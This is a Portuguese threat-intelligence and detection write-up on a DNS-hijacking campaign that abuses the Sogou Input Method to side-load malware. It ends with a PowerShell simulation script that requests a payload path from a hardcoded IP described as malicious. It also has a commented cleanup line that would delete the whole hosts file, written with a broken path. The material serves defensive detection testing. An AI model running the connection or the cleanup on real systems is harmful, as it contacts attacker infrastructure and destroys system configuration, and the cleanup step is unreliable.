Campanha de Malware SlippyNunchucks Explora Promoção da Marca Sogou

Resumo

O agente de ameaça SlippyNunchucks usa o sequestro de DNS para interceptar o tráfego HTTP inseguro gerado pelo Método de Entrada Sogou. Isso permite que os atacantes injetem uma configuração maliciosa que inicia o download do implante de malware DarkVigil através de técnicas de side-loading. A campanha tem como alvo principal usuários de língua chinesa em regiões da Ásia e Europa.

Investigação

Pesquisadores da ESET descobriram que o grupo abusa do mecanismo de promoção de marca dentro do Método de Entrada Sogou, particularmente o componente SGTool.exe. A manipulação de DNS redireciona solicitações destinadas a pontos de extremidade de configuração legítimos para uma infraestrutura de estágio controlada por atacantes. A investigação também descobriu uma cadeia de side-loading em várias etapas envolvendo um executável legítimo da Adobe renomeado para ocultar sua presença.

Mitigação

A Tencent abordou o problema na versão 16.10 do Método de Entrada Sogou migrando solicitações HTTP afetadas para HTTPS e introduzindo a validação do certificado TLS. Os usuários devem atualizar para a versão mais recente disponível do software para prevenir ataques de sequestro de DNS de injetar e entregar configurações maliciosas.

Resposta

Quando atividades maliciosas são detectadas, as organizações devem investigar modificações de DNS não autorizadas e inspecionar o tráfego de rede para conexões a domínios de estágio conhecidos, como sogou-cdn.com. As equipes de segurança também devem monitorar processos filhos suspeitos gerados por componentes do Método de Entrada Sogou, incluindo a execução inesperada de binários da Adobe renomeados ou DLLs não assinadas carregadas a partir de diretórios de componentes.

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa e Comandos de Ataque: O adversário visa simular um cenário de sequestro de DNS onde uma solicitação para config.pinyin.sogou.com é desviada para um IP malicioso. Para acionar a regra de detecção específica fornecida, a simulação contornará o DNS local e usará um endereço IP codificado (47.239.250.102) que corresponde aos critérios da regra. Isso imita o momento em que a resposta do DNS sequestrado direciona o software Sogou para um servidor controlado por atacantes para baixar um payload.

• Script de Teste de Regressão:

  # Simulação de Sequestro de DNS via conexão IP codificada para acionar a regra específica
  # Isso imita o Método de Entrada Sogou tentando acessar seu servidor de configuração 
  # mas sendo redirecionado para um IP malicioso.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Iniciando simulação de geração de telemetria de Sequestro de DNS..."
  
  # Usamos uma conexão IP direta para imitar o efeito de uma resolução de DNS sequestrada
  # Muitos logs de proxy registrarão o domínio solicitado através do cabeçalho Host 
  # mesmo se a conexão for feita por IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Tentando conexão a $TargetDomain via $MaliciousIP"
  
      # Usando Invoke-WebRequest para simular o tráfego de rede através do proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Conexão falhou (Esperado, pois o IP provavelmente está offline), mas a telemetria deve ter sido gerada."
  }
  
  Write-Host "[*] Simulação completa."

• Comandos de Limpeza:

  # Nenhuma alteração persistente é feita por este script de simulação.
  # Para limpar artefatos em nível de rede, caso algum tenha sido adicionado (por exemplo, arquivo de hosts), use:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Requer Admin)
  Write-Host "[*] Limpeza completa. Nenhum artefato persistente foi criado."